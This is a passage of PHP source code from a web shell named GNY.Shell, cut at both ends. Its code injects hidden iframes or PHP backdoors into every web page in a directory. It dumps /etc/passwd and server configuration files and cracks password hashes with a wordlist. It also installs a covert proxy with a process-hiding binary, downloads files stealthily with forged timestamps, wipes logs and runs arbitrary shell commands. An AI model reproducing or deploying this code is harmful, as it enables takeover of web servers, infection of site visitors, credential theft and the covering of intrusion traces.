chmod($_GET['path'].'/raptor_chown', 0777);
}else{
echo '<font color=red>Directory is not writable!</font><br>';
}
} // end if raptor_chown was called
} // end if exploits is called
if ($act == 'massbrowsersploit') {
?>
<b>Mass Code Injection:</b><br><br>
Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.<br><br>
<form action="<?php echo $surl; ?>" method=GET>
<input type=hidden name="masssploit" value="goahead">
<input type=hidden name="act" value="massbrowsersploit">
<table border=0>
<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr>
<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<IFRAME src="http://www.google.com" width=0 height=0 frameborder=0></IFRAME>'); ?></textarea> <-- best bet would be to include an invisible iframe of browser exploits</td></tr>
<tr><td><input type=submit value="Inject Code"></td></tr>
</table>
</form>
<?php
if ($_GET['masssploit'] == 'goahead') {
if (is_dir($_GET['pathtomass'])) {
$lolinject = $_GET['injectthis'];
foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo '<font color=green>'.$injectj00.' was injected<br></font>';
} else {
echo '<font color=red>failed to inject '.$injectj00.'</font>';
}
}
foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.' was injected<br>';
} else {
echo '<font color=red>failed to inject '.$injectj00.'</font>';
}
}
foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo $injectj00.' was injected<br>';
} else {
echo '<font color=red>failed to inject '.$injectj00.'</font>';
}
}
} else { //end if inputted dir is real -- if not, show an ugly red error
echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>';
} // end if inputted dir is real, for real this time
} // end if confirmation to mass sploit is go
//new php backdoor
?>
<b>Mass Code Injection:</b><br><br>
Use this to add PHP to the end of every .php page in the directory specified.<br><br>
<form action="<?php echo $surl; ?>" method=GET>
<input type=hidden name="masssploit" value="php">
<input type=hidden name="act" value="massbrowsersploit">
<table border=0>
<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<?php echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr>
<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><?php echo htmlspecialchars('<?php if ($_GET["x"] == "lul") { /*code*/; } ?>'); ?></textarea></td></tr>
<tr><td><input type=submit value="Inject Code"></td></tr>
</table>
</form>
<?php
if ($_GET['masssploit'] == 'php') {
if (is_dir($_GET['pathtomass'])) {
$lolinject = $_GET['injectthis'];
foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) {
$fp=fopen($injectj00,"a+");
if (fputs($fp,$lolinject)){
echo '<font color=green>'.$injectj00.' was injected<br></font>';
} else {
echo '<font color=red>failed to inject '.$injectj00.'</font>';
}
}
} else { //end if inputted dir is real -- if not, show an ugly red error
echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>';
} // end if inputted dir is real, for real this time
} // end if confirmation to mass sploit is php only
} // end if massbrowsersploit is called
if ($act == 'security')
{
echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
if (!$win)
{
if ($nixpasswd)
{
if ($nixpasswd == 1) {$nixpasswd = 0;}
echo "<b>*nix /etc/passwd:</b><br>";
if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
$i = $nixpwd_s;
while ($i < $nixpwd_e)
{
$uid = posix_getpwuid($i);
if ($uid)
{
$uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
echo join(":",$uid)."<br>";
}
$i++;
}
}
else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
displaysecinfo("RAM",myshellexec("free -m"));
displaysecinfo("HDD space",myshellexec("df -h"));
displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
displaysecinfo("Is cURL installed?",myshellexec("which curl"));
displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
displaysecinfo("Is links installed?",myshellexec("which links"));
displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
displaysecinfo("Is GET installed?",myshellexec("which GET"));
displaysecinfo("Is perl installed?",myshellexec("which perl"));
displaysecinfo("Where is apache",myshellexec("whereis apache"));
displaysecinfo("Where is perl?",myshellexec("whereis perl"));
displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
}
else
{
exec('systeminfo', $wininfo);
?>
<br>DOS command: <b>systeminfo</b><br>
<textarea cols=125 rows=<?php echo count($wininfo); ?>><?php
if ($wininfo) {
foreach($wininfo as $row)
echo $row."\n";
} else { // if systeminfo failed
echo 'Couldn\'t execute command!';
}
?>
</textarea>
<?php
}
}
if ($act == 'mkfile')
{
if ($mkfile != $d)
{
if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
elseif (!fopen($mkfile,'w')) {echo '<b>Make File "'.htmlspecialchars($mkfile).'"</b>: access denied';}
else {$act = 'f'; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
}
else {$act = $dspact = 'ls';}
}
if ($act == 'encoder')
{
echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
foreach(array("md5","crypt","sha1","crc32") as $v)
{
echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
}
echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
<br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
<br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
echo "<center>base64_decode - ";
if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
else
{
$debase64 = base64_decode($encoder_input);
$debase64 = str_replace("\0","[0]",$debase64);
$a = explode("\r\n",$debase64);
$rows = count($a);
$debase64 = htmlspecialchars($debase64);
if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
}
echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
$c = strlen($encoder_input);
for($i=0;$i<$c;$i++)
{
$hex = dechex(ord($encoder_input[$i]));
if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
}
echo "\" readonly><br></form>";
?>
</center>
<br><br>
<table border=0 align=center cellpadding=4>
<tr><td>
<center><b>Search MD5Crack for MD5 hash</b></center>
</td><td>
<center><b>Search md5encryption.com for MD5 or SHA1 hash</b></center>
</td><td>
<center><b>Search CsTeam for MD5 hash</b></center>
</td><td>
<center><b>Search GData for MD5 hash</b></center>
</td></tr>
<tr><td>
<center>
<form target="_blank" action="http://md5crack.com/crackmd5.php" method=POST>
<input type=text size=40 name=hash> <input type=submit value="Submit"></form>
</center>
</td><td>
<center>
<form target="_blank" action="http://www.md5encryption.com/?mod=decrypt" method=POST>
<input type=text size=40 name=hash2word> <input type=submit value="Submit"></form>
</center>
</td><td>
<center>
<form target="_blank" action="http://www.csthis.com/md5/index.php" method=POST>
<input type=text size=40 name=h> <input type=submit value="Submit"></form>
</center>
</td><td>
<center>
<form method="post" action="http://www.gdataonline.com/seekhash.php">
<input type="hidden" name="code" value="1716f4a1bdecd7090187cf12c42aca3f">
<input type="text" size="40" name="hash" />
<input type="submit" value="Submit" />
</form>
</center>
</td></tr>
</table>
<br>
<center>
<b>Wordlist Hash Cracker</b><br><br>
<form action="<?php echo $surl; ?>" method=GET>
<input type=hidden name="act" value="encoder">
<input type=hidden name="d" value="<?php echo $d; ?>">
Enter hash: <input type=text width=300 name="hash" size=40>
<br>
Wordlist: <input type=text name="wordlist" size=40>
<br>
Type: <select name="type">
<option value="md5">MD5</option>
<option value="sha1">SHA1</option>
</select> <input type=submit value="Crack Hash">
</form>
</center>
<?php
// my wordlist cracker ^_^
if (isset($_GET['hash']) && isset($_GET['wordlist']) && ($_GET['type'] == 'md5' || $_GET['type'] == 'sha1')) {
$type = $_GET['type'];
$hash = $_GET['hash'];
$count = 1;
$wordlist = file($_GET['wordlist']);
$words = count($wordlist);
foreach ($wordlist as $word) {
echo $count.' of '.$words.': '.$word.'<br>';
if ($hash == $type(rtrim($word))) {
echo '<font color=red>Great success! The password is: '.$word.'</font><br>';
break;
}
++$count;
}
}
}
if ($act == 'fsbuff')
{
$arr_copy = $sess_data["copy"];
$arr_cut = $sess_data["cut"];
$arr = array_merge($arr_copy,$arr_cut);
if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";}
else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
}
if ($act == 'proxy') {
if ($_GET['ipisk'] == 'yup') {
cf("/tmp/hantu.tgz",$proxy_shit);
ex("cd /tmp;tar -zxvf hantu.tgz");
ex("cd /tmp;cd .setan;chmod 777 xh");
ex("cd /tmp;cd .setan;chmod 777 httpd");
ex("cd /tmp;cd .setan;./xh -s [kmod] ./httpd start");
checkproxyhost();
$msg = $_POST['proxyhostmsg'];
echo("$msg");
unlink("/tmp/hantu.tgz");
ex("cd /tmp; rm -r .setan");
}else
echo '<center>Are you sure you want to install an IP:Port proxy on this website/server?<br />Please note, some servers with firewalls or other security features may not be compatible with this, even if the proxy appears to be installed.<br /><br /><b><font color=green><a href="'.$surl.'&act=proxy&ipisk=yup">Yes</a></font></b> || <b><font color=red><a href="'.$surl.'">No</a></font></b></center>';
}
if ($act == 'fi'){
?>
<b>Install Local RFI/LFI Scanner</b><br>
<form action=<?php echo $surl; ?> method=GET>
<input type=hidden name="act" value="fi">
<input type=hidden name="install" value="yup">
Path to install in: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br>
<input type=submit value="Install"></form>
<?php
if ($_GET['install'] == 'yup') {
if (is_writable($_GET['path'])) {
cf($_GET['path'].'fi.pl', $fi);
echo '<font color=green><b>fi.pl was created in '.htmlentities($_GET['path']).'</b></font>';
chmod($_GET['path'].'/fi.pl', 0777);
echo '<br />To execute, browse to the directory you installed the scanner in and execute it from there using \'perl fi.pl\'';
}else{
echo '<font color=red><b>Directory is not writable!</b><br></font>';
}
}
}
if ($act == 'phpproxy'){
?>
<b>Install PHP Based Proxy</b><br>
<form action=<?php echo $surl; ?> method=GET>
<input type=hidden name="act" value="phpproxy">
<input type=hidden name="install" value="yup">
Path to install in: <input type=text name="path" value="<?php echo $d; ?>"> (must have final /)<br>
<input type=submit value="Install"></form>
<?php
if ($_GET['install'] == 'yup') {
if (is_writable($_GET['path'])) {
cf($_GET['path'].'proxy.php', $phpproxy);
echo '<font color=green><b>proxy.php was created in '.htmlentities($_GET['path']).'</b></font>';
chmod($_GET['path'].'/proxy.php', 0777);
}else{
echo '<font color=red><b>Directory is not writable!</b><br></font>';
}
}
}
if ($act == 'selfremove') {
if ($_GET['bai'] == 'k'){
if (unlink(__FILE__)){
@ob_clean(); echo 'GNY.Shell has been deleted and is now gone.'; GNYexit();
}else{
echo "<center><b>Cannot delete ".__FILE__."!</b></center>";}
}else{
echo '<center>Are you sure you want to permanently remove '.__FILE__.'?<br><a href="'.$surl.'act=selfremove&bai=k">Yes</a> || <a href="'.$surl.'">No</a></center>';
}
}
if ($act == 'update') {$ret = sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}}
if ($act == 'search')
{
echo "<b>Search in file-system:</b><br>";
if (empty($search_in)) {$search_in = $d;}
if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
if (empty($search_text_wwo)) {$search_text_regexp = 0;}
if (!empty($submit))
{
$found = array();
$found_d = 0;
$found_f = 0;
$search_i_f = 0;
$search_i_d = 0;
$a = array
(
"name"=>$search_name, "name_regexp"=>$search_name_regexp,
"text"=>$search_text, "text_regexp"=>$search_text_regxp,
"text_wwo"=>$search_text_wwo,
"text_cs"=>$search_text_cs,
"text_not"=>$search_text_not
);
$searchtime = getmicrotime();
$in = array_unique(explode(";",$search_in));
foreach($in as $v) {fsearch($v);}
$searchtime = round(getmicrotime()-$searchtime,4);
if (count($found) == 0) {echo "<b>No files found!</b>";}
else
{
$ls_arr = $found;
$disp_fullpath = TRUE;
$act = "ls";
}
}
echo "<form method=POST>
<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
<br><br><input type=submit name=submit value=\"Search\"></form>";
if ($act == 'ls') {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
}
if ($act == 'chmod')
{
$mode = fileperms($d.$f);
if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
else
{
$form = TRUE;
if ($chmod_submit)
{
$octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
else {$err = "Can't chmod to ".$octet.".";}
}
if ($form)
{
$perms = parse_perms($mode);
echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"")."> Execute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"")."> Execute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"")."> Execute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
}
}
}
if ($act == "upload")
{
$uploadmess = "";
$uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
if (empty($uploadpath)) {$uploadpath = $d;}
elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
if (!empty($submit))
{
global $HTTP_POST_FILES;
$uploadfile = $HTTP_POST_FILES["uploadfile"];
if (!empty($uploadfile["tmp_name"]))
{
if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
else {$destin = $userfilename;}
if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
}
elseif (!empty($uploadurl))
{
if (!empty($uploadfilename)) {$destin = $uploadfilename;}
else
{
$destin = explode("/",$destin);
$destin = $destin[count($destin)-1];
if (empty($destin))
{
$i = 0;
$b = "";
while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
}
if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
else
{
$st = getmicrotime();
$content = @file_get_contents($uploadurl);
$dt = round(getmicrotime()-$st,4);
if (!$content) {$uploadmess .= "Can't download file!<br>";}
else
{
if ($filestealth) {$stat = stat($uploadpath.$destin);}
$fp = fopen($uploadpath.$destin,"w");
if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
else
{
fwrite($fp,$content,strlen($content));
fclose($fp);
if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
}
}
}
}
}
if ($miniform)
{
echo "<b>".$uploadmess."</b>";
$act = "ls";
}
else
{
echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>
Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
File-name (auto-fill): <input name=uploadfilename size=25><br><br>
<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
<input type=submit name=submit value=\"Upload\">
</form>";
}
}
if ($act == 'md5file') {
?>
<center><b>MD5 Checksum:</b></center><br>
<table border=0 align=center>
<?php
foreach ($actbox as $v)
echo '<tr><td>'.md5_file($v).'</td><td>'.$v.'</td></tr>';
echo "</table></td></tr></table><br><TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
$act = 'ls';
}
if ($act == 'sha1file') {
?>
<center><b>SHA1 Checksum:</b></center><br>
<table border=0 align=center>
<?php
foreach ($actbox as $v)
echo '<tr><td>'.sha1_file($v).'</td><td>'.$v.'</td></tr>';
echo "</table></td></tr></table><br><TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
$act = 'ls';
}
if ($act == 'delete')
{
$delerr = '';
foreach ($actbox as $v)
{
$result = FALSE;
$result = fs_rmobj($v);
if (!$result)
$delerr .= 'Can\'t delete '.htmlspecialchars($v).'<br>';
}
if (!empty($delerr))
echo '<b>Deleting with errors:</b><br>'.$delerr;
$act = 'ls';
}
if (!$usefsbuff)
{
if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
}
else
{
if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); sess_put($sess_data); $act = "ls"; }
elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); sess_put($sess_data); $act = "ls";}
elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} sess_put($sess_data); $act = "ls";}
if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); sess_put($sess_data);}
elseif ($actpastebuff)
{
$psterr = "";
foreach($sess_data["copy"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
$act = "ls";
}
elseif ($actarcbuff)
{
$arcerr = "";
if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
else {$ext = ".tar.gz";}
if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
$cmdline .= " ".$actarcbuff_path;
$objects = array_merge($sess_data["copy"],$sess_data["cut"]);
foreach($objects as $v)
{
$v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
if (is_dir($v))
{
if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
$v .= "*";
}
$cmdline .= " ".$v;
}
$tmp = realpath(".");
chdir($d);
$ret = myshellexec($cmdline);
chdir($tmp);
if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
$ret = str_replace("\r\n","\n",$ret);
$ret = explode("\n",$ret);
if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
foreach($sess_data["cut"] as $k=>$v)
{
if (in_array($v,$ret)) {fs_rmobj($v);}
unset($sess_data["cut"][$k]);
}
sess_put($sess_data);
if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
$act = "ls";
}
elseif ($actpastebuff)
{
$psterr = "";
foreach($sess_data["copy"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v)
{
$to = $d.basename($v);
if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
$act = "ls";
}
}
// the wipe logs stuff needs to be before cmd, because it will change the $act if the write is successful
if ($act == 'zap2') { // *nix cleaner
if (is_writable('.')) {
cf($act, $$act); // 'tis pure innovation of optimization :)
chmod($act, 0777);
$cmd = './'.$act; // keep this before $act = 'cmd';
$act = 'cmd';
$cmd_txt = '1';
}else{
echo 'Directory Is Not Writable!<br>';
}
}
if ($act == 'clearlogs') { // windows cleaners
if (is_writable('.')) {
cf($act.'.exe', $$act);
chmod($act.'.exe', 0777);
$cmd = $act.'.exe';
$act = 'cmd';
$cmd_txt = '1';
}else{
echo 'Directory Is Not Writable!<br>';
}
}
if ($act == 'cmd')
{
if (trim($cmd) == "ps -aux")
$act = 'processes';
else {
@chdir($chdir);
if (!empty($submit))
{
echo "<b>Result of execution this command</b>:<br>";
$olddir = realpath(".");
@chdir($d);
$ret = myshellexec($cmd);
$ret = convert_cyr_string($ret,"d","w");
if ($cmd_txt)
{
$rows = count(explode("\r\n",$ret))+1;
if ($rows < 10) {$rows = 10;}
echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
}
else {echo $ret."<br>";}
@chdir($olddir);
}
else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
}
}
if ($act == 'ls')
{
if (count($ls_arr) > 0) {$list = $ls_arr;}
else
{
$list = array();
if ($h = @opendir($d))
{
while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
closedir($h);
}
else {}
}
if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
else
{
//Building array
$objects = array();
$vd = "f"; //Viewing mode
if ($vd == "f")
{
$objects["head"] = array();
$objects["folders"] = array();
$objects["links"] = array();
